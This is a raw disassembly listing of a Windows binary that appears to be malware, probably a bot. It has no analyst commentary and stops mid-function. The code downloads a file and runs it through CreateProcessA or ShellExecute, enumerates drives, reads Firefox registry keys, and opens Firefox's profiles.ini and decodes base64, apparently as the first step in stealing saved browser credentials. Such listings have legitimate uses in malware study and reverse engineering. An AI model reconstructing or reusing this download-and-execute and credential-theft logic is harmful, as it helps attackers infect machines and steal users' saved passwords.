		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		xor	edx, edx
		push	[ebp+var_14]
		mov	ecx, eax
		inc	ecx
		mov	eax, edi
		div	ecx
		mov	ebx, eax
		call	dword_419064	; CloseHandle
		push	[ebp+var_10]
		call	sub_40E359
		cmp	[ebp+var_8], esi
		pop	ecx
		jz	loc_405B25
		cmp	[ebp+var_88], 1
		jz	loc_4059E6
		test	ebx, ebx
		mov	[ebp+var_4], ebx
		fild	[ebp+var_4]
		jge	short loc_4058FF
		fadd	dbl_419F58


loc_4058FF:				; CODE XREF: sub_4056A2+255j
		test	edi, edi
		fmul	dbl_419F50
		push	ecx
		push	ecx
		fstp	[esp+780h+var_780]
		lea	eax, [ebp+var_18C]
		mov	[ebp+var_4], edi
		fild	[ebp+var_4]
		push	eax
		jge	short loc_405921
		fadd	dbl_419F58


loc_405921:				; CODE XREF: sub_4056A2+277j
		fmul	dbl_419F50
		push	ecx
		push	ecx
		lea	eax, [ebp+var_710]
		fstp	[esp+78Ch+var_78C]
		push	offset aDownloaded_1fK ; "Downloaded %.1f KB to	%s @ %.1f KB/sec."...
		push	eax
		call	sub_40D6BB
		add	esp, 1Ch
		cmp	[ebp+var_78], esi
		jnz	short loc_405964
		push	[ebp+var_74]
		lea	eax, [ebp+var_710]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		push	[ebp+var_310]
		call	sub_4017B6
		add	esp, 10h


loc_405964:				; CODE XREF: sub_4056A2+2A1j
		lea	eax, [ebp+var_710]
		push	eax
		call	sub_401648
		cmp	[ebp+var_84], 1
		pop	ecx
		jnz	loc_405B25
		push	5
		push	esi
		push	esi
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset aOpen_0	; "open"
		push	esi
		call	dword_4191D8
		cmp	[ebp+var_78], esi
		jnz	loc_405B25
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_710]
		push	offset aOpenedS_ ; "Opened: %s."
		push	eax
		call	sub_40D6BB
		push	[ebp+var_74]
		lea	eax, [ebp+var_710]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		push	[ebp+var_310]
		call	sub_4017B6
		lea	eax, [ebp+var_710]
		push	eax
		call	sub_401648
		add	esp, 20h
		jmp	loc_405B25
; ---------------------------------------------------------------------------


loc_4059E6:				; CODE XREF: sub_4056A2+247j
		test	ebx, ebx
		mov	[ebp+var_4], ebx
		fild	[ebp+var_4]
		jge	short loc_4059F6
		fadd	dbl_419F58


loc_4059F6:				; CODE XREF: sub_4056A2+34Cj
		test	edi, edi
		fmul	dbl_419F50
		push	ecx
		push	ecx
		fstp	[esp+780h+var_780]
		lea	eax, [ebp+var_18C]
		mov	[ebp+var_4], edi
		fild	[ebp+var_4]
		push	eax
		jge	short loc_405A18
		fadd	dbl_419F58


loc_405A18:				; CODE XREF: sub_4056A2+36Ej
		fmul	dbl_419F50
		push	ecx
		push	ecx
		lea	eax, [ebp+var_710]
		fstp	[esp+78Ch+var_78C]
		push	offset aDownloaded_1fk ; "Downloaded %.1fKB to %s @ %.1fKB/sec.	U"...
		push	eax
		call	sub_40D6BB
		add	esp, 1Ch
		cmp	[ebp+var_78], esi
		jnz	short loc_405A5B
		push	[ebp+var_74]
		lea	eax, [ebp+var_710]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		push	[ebp+var_310]
		call	sub_4017B6
		add	esp, 10h


loc_405A5B:				; CODE XREF: sub_4056A2+398j
		lea	eax, [ebp+var_710]
		push	eax
		call	sub_401648
		push	10h
		lea	eax, [ebp+var_28]
		push	esi
		push	eax
		call	sub_40D7B0
		push	44h
		pop	edi
		push	edi
		lea	eax, [ebp+var_6C]
		push	esi
		push	eax
		call	sub_40D7B0
		add	esp, 1Ch
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_6C]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		mov	[ebp+var_6C], edi
		push	esi
		lea	eax, [ebp+var_18C]
		xor	edi, edi
		push	eax
		inc	edi
		push	esi
		mov	[ebp+var_60], offset word_41994E
		mov	[ebp+var_40], edi
		mov	[ebp+var_3C], si
		call	dword_41909C	; CreateProcessA
		cmp	eax, edi
		jnz	short loc_405ACB
		call	dword_419244	; WSACleanup
		call	sub_408B66
		push	esi
		call	dword_4190B8	; ExitProcess


loc_405ACB:				; CODE XREF: sub_4056A2+415j
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset aUpdateFailedEr ; "Update failed: Error executing file: %s"...
		jmp	short loc_405AE5
; ---------------------------------------------------------------------------


loc_405AD9:				; CODE XREF: sub_4056A2+45j
		lea	eax, [ebp+var_28C]
		push	eax
		push	offset aBadUrlOrDnsErr ; "Bad URL, or DNS Error: %s."


loc_405AE5:				; CODE XREF: sub_4056A2+435j
		lea	eax, [ebp+var_710]
		push	eax
		call	sub_40D6BB
		add	esp, 0Ch
		cmp	[ebp+var_78], esi
		jnz	short loc_405B18
		push	[ebp+var_74]
		lea	eax, [ebp+var_710]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		push	[ebp+var_310]
		call	sub_4017B6
		add	esp, 10h


loc_405B18:				; CODE XREF: sub_4056A2+455j
		lea	eax, [ebp+var_710]
		push	eax
		call	sub_401648
		pop	ecx


loc_405B25:				; CODE XREF: sub_4056A2+23Aj
					; sub_4056A2+2D6j ...
		push	[ebp+var_C]
		call	dword_419208	; InternetCloseHandle
		push	[ebp+var_8C]
		call	sub_40AADD


loc_405B39:				; CODE XREF: sub_4056A2+C1j
		pop	ecx
		push	esi
		call	dword_4190D8	; ExitThread
		int	3		; Trap to Debugger
sub_4056A2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405B42	proc near		; CODE XREF: sub_405C48+66p
					; sub_405C48+97p ...

var_40		= byte ptr -40h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		and	[ebp+var_4], 0
		push	esi
		push	edi
		push	32h
		push	0
		mov	edi, offset dword_4C1978
		push	edi
		call	sub_40D7B0
		add	esp, 0Ch
		lea	esi, [ebp+var_40]
		push	ebx


loc_405B64:				; CODE XREF: sub_405B42+52j
					; sub_405B42+58j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E770
		add	cl, 30h
		mov	[esi], cl
		inc	esi
		mov	[ebp+arg_0], eax
		or	eax, edx
		mov	[ebp+var_8], ebx
		mov	[ebp+arg_4], edx
		jz	short loc_405B9C
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		push	3
		cdq
		pop	ecx
		idiv	ecx
		test	edx, edx
		jnz	short loc_405B64
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_405B64
; ---------------------------------------------------------------------------


loc_405B9C:				; CODE XREF: sub_405B42+42j
		mov	eax, edi
		pop	ebx
		jmp	short loc_405BA6
; ---------------------------------------------------------------------------


loc_405BA1:				; CODE XREF: sub_405B42+6Aj
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax


loc_405BA6:				; CODE XREF: sub_405B42+5Dj
		dec	esi
		lea	ecx, [ebp+var_40]
		cmp	esi, ecx
		jnb	short loc_405BA1
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_405B42	endp


; =============== S U B	R O U T	I N E =======================================



sub_405BB7	proc near		; CODE XREF: sub_405D63+40p
					; sub_405D63+76p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4190E4	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_405BFA
		dec	eax
		jz	short loc_405BF4
		dec	eax
		dec	eax
		jz	short loc_405BEE
		dec	eax
		jz	short loc_405BE8
		dec	eax
		jz	short loc_405BE2
		dec	eax
		jz	short loc_405BDC
		mov	eax, offset a?	; "?"
		retn
; ---------------------------------------------------------------------------


loc_405BDC:				; CODE XREF: sub_405BB7+1Dj
		mov	eax, offset aRam ; "RAM"
		retn
; ---------------------------------------------------------------------------


loc_405BE2:				; CODE XREF: sub_405BB7+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_405BE8:				; CODE XREF: sub_405BB7+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_405BEE:				; CODE XREF: sub_405BB7+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_405BF4:				; CODE XREF: sub_405BB7+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_405BFA:				; CODE XREF: sub_405BB7+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_405BB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405C00	proc near		; CODE XREF: sub_405C48+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4C4688
		test	eax, eax
		jz	short loc_405C35
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_405C35:				; CODE XREF: sub_405C00+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_405C00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405C48	proc near		; CODE XREF: sub_405D63+17p

var_1B0		= byte ptr -1B0h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= byte ptr -30h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_30]
		push	eax
		call	sub_405C00
		pop	ecx
		pop	ecx
		push	6
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_405D20
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_405D20
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_405D20
		push	ebx
		push	0
		mov	ebx, 400h
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_40E810
		push	edx
		push	eax
		call	sub_405B42
		push	eax
		mov	edi, offset aSkb ; "%sKB"
		push	edi
		mov	esi, 80h
		lea	eax, [ebp+var_1B0]
		push	esi
		push	eax
		call	sub_40DFEC
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_40E810
		push	edx
		push	eax
		call	sub_405B42
		push	eax
		push	edi
		lea	eax, [ebp+var_130]
		push	esi
		push	eax
		call	sub_40DFEC
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_40E810
		push	edx
		push	eax
		call	sub_405B42
		push	eax
		push	edi
		lea	eax, [ebp+var_B0]
		push	esi
		push	eax
		call	sub_40DFEC
		add	esp, 18h
		pop	ebx
		jmp	short loc_405D4F
; ---------------------------------------------------------------------------


loc_405D20:				; CODE XREF: sub_405C48+2Cj
					; sub_405C48+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_1B0]
		push	esi
		push	eax
		call	sub_40D6BB
		lea	eax, [ebp+var_130]
		push	esi
		push	eax
		call	sub_40D6BB
		lea	eax, [ebp+var_B0]
		push	esi
		push	eax
		call	sub_40D6BB
		add	esp, 18h


loc_405D4F:				; CODE XREF: sub_405C48+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_1B0]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_405C48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405D63	proc near		; CODE XREF: sub_405E21+Bj
					; sub_405E21+4Fp

var_700		= byte ptr -700h
var_580		= byte ptr -580h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 700h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_700]
		push	ebx
		push	eax
		call	sub_405C48
		push	60h
		pop	ecx
		mov	esi, eax
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		lea	edi, [ebp+var_180]
		push	eax
		rep movsd
		call	sub_40D720
		add	esp, 10h
		test	eax, eax
		jnz	short loc_405DC5
		push	ebx
		push	ebx
		call	sub_405BB7
		pop	ecx
		push	eax
		push	offset aSDriveSShit_ ; "%s Drive (%s): shit."
		lea	eax, [ebp+var_580]
		push	400h
		push	eax
		call	sub_40DFEC
		add	esp, 14h
		jmp	short loc_405DF9
; ---------------------------------------------------------------------------


loc_405DC5:				; CODE XREF: sub_405D63+3Cj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_405BB7
		pop	ecx
		push	eax
		push	offset aSDriveSSDiskSL ; "%s Drive (%s): %s Disk, %s Lib, %s ."
		lea	eax, [ebp+var_580]
		push	400h
		push	eax
		call	sub_40DFEC
		add	esp, 20h


loc_405DF9:				; CODE XREF: sub_405D63+60j
		push	1
		lea	eax, [ebp+var_580]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4017B6
		lea	eax, [ebp+var_580]
		push	eax
		call	sub_401648
		add	esp, 14h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405D63	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405E21	proc near		; CODE XREF: sub_40198E+14C0p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		cmp	[ebp+arg_C], eax
		jz	short loc_405E31
		pop	ebp
		jmp	sub_405D63
; ---------------------------------------------------------------------------


loc_405E31:				; CODE XREF: sub_405E21+8j
		push	ebx
		push	esi
		mov	esi, dword_4190E8
		push	edi
		push	eax
		push	eax
		call	esi	; GetLogicalDriveStringsA
		lea	edi, [eax+2]
		push	edi
		call	sub_40E74F
		pop	ecx
		mov	ebx, eax
		push	ebx
		push	edi
		call	esi	; GetLogicalDriveStringsA
		cmp	byte ptr [ebx],	0
		mov	esi, ebx
		jz	short loc_405E88


loc_405E55:				; CODE XREF: sub_405E21+65j
		push	offset aA	; "A:\\"
		push	esi
		call	sub_40D720
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_405E78
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_405D63
		add	esp, 10h


loc_405E78:				; CODE XREF: sub_405E21+43j
		push	esi
		call	sub_40D630
		lea	esi, [esi+eax+1]
		cmp	byte ptr [esi],	0
		pop	ecx
		jnz	short loc_405E55


loc_405E88:				; CODE XREF: sub_405E21+32j
		push	ebx
		call	sub_40E359
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_405E21	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405E94	proc near		; CODE XREF: sub_4069DE+8p

var_154		= byte ptr -154h
var_110		= byte ptr -110h
var_10F		= byte ptr -10Fh
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 154h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	ecx
		mov	esi, offset aSoftwareClient ; "SOFTWARE\\Clients\\StartMenuInternet\\fire"...
		lea	edi, [ebp+var_154]
		rep movsd
		push	40h
		pop	ecx
		movsw
		xor	eax, eax
		xor	ebx, ebx
		mov	[ebp+var_110], bl
		lea	edi, [ebp+var_10F]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_4]
		push	eax
		push	20019h
		push	ebx
		lea	eax, [ebp+var_154]
		push	eax
		push	80000002h
		mov	[ebp+var_8], 104h
		call	dword_419018	; RegOpenKeyExA
		test	eax, eax
		jnz	loc_405FCF
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	ebx
		push	ebx
		push	[ebp+var_4]
		call	dword_419000	; RegQueryValueExA
		test	eax, eax
		jnz	loc_405FC6
		cmp	[ebp+var_8], ebx
		jbe	loc_405FC6
		cmp	[ebp+var_110], bl
		jz	loc_405FC6
		push	[ebp+var_4]
		call	dword_419014	; RegCloseKey
		cmp	[ebp+var_110], 22h
		jnz	short loc_405F71
		lea	eax, [ebp+var_110]
		push	eax
		xor	esi, esi
		call	sub_40D630
		dec	eax
		pop	ecx
		jz	short loc_405F71


loc_405F50:				; CODE XREF: sub_405E94+DBj
		mov	al, [ebp+esi+var_10F]
		mov	[ebp+esi+var_110], al
		lea	eax, [ebp+var_110]
		push	eax
		inc	esi
		call	sub_40D630
		dec	eax
		cmp	esi, eax
		pop	ecx
		jb	short loc_405F50


loc_405F71:				; CODE XREF: sub_405E94+A8j
					; sub_405E94+BAj
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_40D630
		pop	ecx
		jmp	short loc_405F8A
; ---------------------------------------------------------------------------


loc_405F80:				; CODE XREF: sub_405E94+F9j
		cmp	[ebp+eax+var_110], 5Ch
		jz	short loc_405F91


loc_405F8A:				; CODE XREF: sub_405E94+EAj
		dec	eax
		cmp	eax, ebx
		jg	short loc_405F80
		jmp	short loc_405F98
; ---------------------------------------------------------------------------


loc_405F91:				; CODE XREF: sub_405E94+F4j
		mov	[ebp+eax+var_110], bl


loc_405F98:				; CODE XREF: sub_405E94+FBj
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_40D630
		inc	eax
		push	eax
		call	sub_40E74F
		mov	esi, eax
		cmp	esi, ebx
		pop	ecx
		pop	ecx
		jz	short loc_405FC2
		lea	eax, [ebp+var_110]
		push	eax
		push	esi
		call	sub_40D8A0
		pop	ecx
		pop	ecx


loc_405FC2:				; CODE XREF: sub_405E94+11Dj
		mov	eax, esi
		jmp	short loc_405FD1
; ---------------------------------------------------------------------------


loc_405FC6:				; CODE XREF: sub_405E94+7Dj
					; sub_405E94+86j ...
		push	[ebp+var_4]
		call	dword_419014	; RegCloseKey


loc_405FCF:				; CODE XREF: sub_405E94+5Bj
		xor	eax, eax


loc_405FD1:				; CODE XREF: sub_405E94+130j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405E94	endp


; =============== S U B	R O U T	I N E =======================================



sub_405FD6	proc near		; CODE XREF: sub_406425:loc_4065A6p
					; sub_4065B2+16p ...
		cmp	dword_4C45D8, 0
		jz	short loc_405FEA
		mov	eax, dword_4C45D0
		test	eax, eax
		jz	short loc_405FEA
		call	eax


loc_405FEA:				; CODE XREF: sub_405FD6+7j
					; sub_405FD6+10j
		mov	eax, dword_4C45DC
		test	eax, eax
		push	esi
		mov	esi, dword_4190EC
		jz	short loc_405FFD
		push	eax
		call	esi	; FreeLibrary


loc_405FFD:				; CODE XREF: sub_405FD6+22j
		mov	eax, dword_4C45E0
		test	eax, eax
		jz	short loc_406009
		push	eax
		call	esi	; FreeLibrary


loc_406009:				; CODE XREF: sub_405FD6+2Ej
		pop	esi
		retn
sub_405FD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40600B	proc near		; CODE XREF: sub_406425+2Ap
					; sub_406425+37p ...

var_1000	= byte ptr -1000h
var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_40D9A0
		and	[ebp+var_1000],	0
		push	edi
		push	[ebp+arg_0]
		xor	eax, eax
		mov	ecx, 3FFh
		lea	edi, [ebp+var_FFF]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_40D8A0
		lea	eax, [ebp+var_1000]
		push	offset asc_41A0AC ; "/"
		push	eax
		call	sub_40D8B0
		push	[ebp+arg_4]
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_40D8B0
		add	esp, 18h
		lea	eax, [ebp+var_1000]
		push	eax
		call	dword_4190F0	; LoadLibraryA
		mov	dword_4C45E4, eax
		pop	edi
		leave
		retn
sub_40600B	endp


; =============== S U B	R O U T	I N E =======================================



sub_406079	proc near		; CODE XREF: sub_4065B2+6Cp

arg_0		= dword	ptr  4

		push	edi
		call	dword_4C41BC
		mov	edi, eax
		test	edi, edi
		jnz	short loc_406088
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_406088:				; CODE XREF: sub_406079+Bj
		push	esi
		mov	esi, [esp+8+arg_0]
		cmp	byte ptr [esi],	0
		jz	short loc_4060A9
		push	offset word_41994E
		push	edi
		call	dword_4C45D4
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4060A9
		xor	esi, esi
		inc	esi
		jmp	short loc_4060BA
; ---------------------------------------------------------------------------


loc_4060A9:				; CODE XREF: sub_406079+17j
					; sub_406079+29j
		push	esi
		push	edi
		call	dword_4C45D4
		mov	esi, eax
		neg	esi
		pop	ecx
		sbb	esi, esi
		pop	ecx
		inc	esi


loc_4060BA:				; CODE XREF: sub_406079+2Ej
		push	edi
		call	dword_4C45C4
		pop	ecx
		mov	eax, esi
		pop	esi
		pop	edi
		retn
sub_406079	endp


; =============== S U B	R O U T	I N E =======================================



sub_4060C7	proc near		; CODE XREF: sub_406761+63p
					; sub_406761+83p

arg_0		= dword	ptr  4

		and	dword_4C45EC, 0
		and	dword_4C45E8, 0
		push	offset aR_0	; "r"
		push	[esp+4+arg_0]
		call	sub_40E8E4
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		test	eax, eax
		setnz	cl
		mov	dword_4C45F0, eax
		mov	eax, ecx
		retn
sub_4060C7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4060F4	proc near		; CODE XREF: sub_40662C:loc_40665Cp
		mov	eax, dword_4C45EC
		cmp	eax, dword_4C45E8
		jl	short loc_40612E
		push	dword_4C45F0
		and	dword_4C45EC, 0
		push	2800h
		push	1
		push	offset byte_4C19B8
		call	sub_40E94D
		add	esp, 10h
		test	eax, eax
		mov	dword_4C45E8, eax
		jg	short loc_40612E
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_40612E:				; CODE XREF: sub_4060F4+Bj
					; sub_4060F4+35j
		mov	eax, dword_4C45EC
		mov	al, byte_4C19B8[eax]
		inc	dword_4C45EC
		retn
sub_4060F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_406140	proc near		; CODE XREF: sub_406676+44p
					; sub_406676+D8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		push	edi
		call	sub_40D630
		mov	esi, eax
		xor	ebx, ebx
		cmp	byte ptr [esi+edi-1], 3Dh
		pop	ecx
		jnz	short loc_406164
		inc	ebx
		cmp	byte ptr [esi+edi-2], 3Dh
		jnz	short loc_406164
		push	2
		pop	ebx


loc_406164:				; CODE XREF: sub_406140+17j
					; sub_406140+1Fj
		push	0
		push	esi
		push	edi
		call	dword_4C19B0
		mov	ecx, [esp+18h+arg_4]
		add	esp, 0Ch
		test	eax, eax
		mov	[ecx], eax
		jz	short loc_40618F
		lea	eax, [esi+esi*2]
		cdq
		push	4
		pop	ecx
		idiv	ecx
		mov	ecx, [esp+0Ch+arg_8]
		sub	eax, ebx
		mov	[ecx], eax
		xor	eax, eax
		inc	eax


loc_40618F:				; CODE XREF: sub_406140+39j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_406140	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406193	proc near		; CODE XREF: sub_406676+63p

var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		call	dword_4C41BC
		mov	esi, eax
		test	esi, esi
		jz	short loc_4061E3
		push	0
		push	1
		push	esi
		call	dword_4C45C8
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4061E3
		mov	eax, [ebp+arg_0]
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_10], eax
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	dword_4C45C0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4061E7


loc_4061E3:				; CODE XREF: sub_406193+11j
					; sub_406193+23j
		xor	eax, eax
		jmp	short loc_406202
; ---------------------------------------------------------------------------


loc_4061E7:				; CODE XREF: sub_406193+4Ej
		mov	ecx, [ebp+var_8]
		mov	eax, [ebp+arg_8]
		mov	[eax], ecx
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_4]
		push	esi
		mov	[eax], ecx
		call	dword_4C45C4
		xor	eax, eax
		pop	ecx
		inc	eax


loc_406202:				; CODE XREF: sub_406193+52j
		pop	esi
		leave
		retn
sub_406193	endp


; =============== S U B	R O U T	I N E =======================================



sub_406205	proc near		; CODE XREF: sub_406231+E3p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_40D630
		xor	edx, edx
		test	eax, eax
		pop	ecx
		jle	short loc_40622F


loc_406217:				; CODE XREF: sub_406205+28j
		mov	cl, [edx+esi]
		cmp	cl, 41h
		jl	short loc_40622A
		cmp	cl, 5Ah
		jg	short loc_40622A
		add	cl, 20h
		mov	[edx+esi], cl


loc_40622A:				; CODE XREF: sub_406205+18j
					; sub_406205+1Dj
		inc	edx
		cmp	edx, eax
		jl	short loc_406217


loc_40622F:				; CODE XREF: sub_406205+10j
		pop	esi
		retn
sub_406205	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406231	proc near		; CODE XREF: sub_4069DE+1p

var_64C		= dword	ptr -64Ch
var_63C		= byte ptr -63Ch
var_23C		= byte ptr -23Ch
var_138		= byte ptr -138h
var_137		= byte ptr -137h
var_34		= byte ptr -34h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 63Ch
		and	[ebp+var_138], 0
		push	esi
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_137]
		rep stosd
		stosw
		stosb
		push	8
		pop	ecx
		mov	esi, offset aApplicationDat ; "Application Data\\Mozilla\\Firefox"
		lea	edi, [ebp+var_34]
		rep movsd
		lea	eax, [ebp+var_C]
		movsb
		push	eax
		xor	edi, edi
		push	8
		mov	[ebp+var_10], 104h
		mov	[ebp+var_4], edi
		call	dword_4190F4	; GetCurrentProcess
		push	eax
		call	dword_4C47C8
		test	eax, eax
		jz	short loc_4062FD
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		push	[ebp+var_C]
		call	dword_4C47E0
		test	eax, eax
		jz	short loc_4062FD
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_40D8A0
		mov	esi, offset asc_41A0E0 ; "\\"
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_40D8B0
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_40D8B0
		lea	eax, [ebp+var_23C]
		push	offset aProfiles_ini ; "\\profiles.ini"
		push	eax
		call	sub_40D8B0
		lea	eax, [ebp+var_23C]
		push	offset aR_0	; "r"
		push	eax
		call	sub_40E8E4
		add	esp, 28h
		cmp	eax, edi
		mov	[ebp+var_8], eax
		jnz	short loc_406304


loc_4062FD:				; CODE XREF: sub_406231+51j
					; sub_406231+69j
		xor	eax, eax
		jmp	loc_406421
; ---------------------------------------------------------------------------


loc_406304:				; CODE XREF: sub_406231+CAj
		push	ebx
		push	eax
		mov	ebx, 400h
		jmp	short loc_406354
; ---------------------------------------------------------------------------


loc_40630D:				; CODE XREF: sub_406231+135j
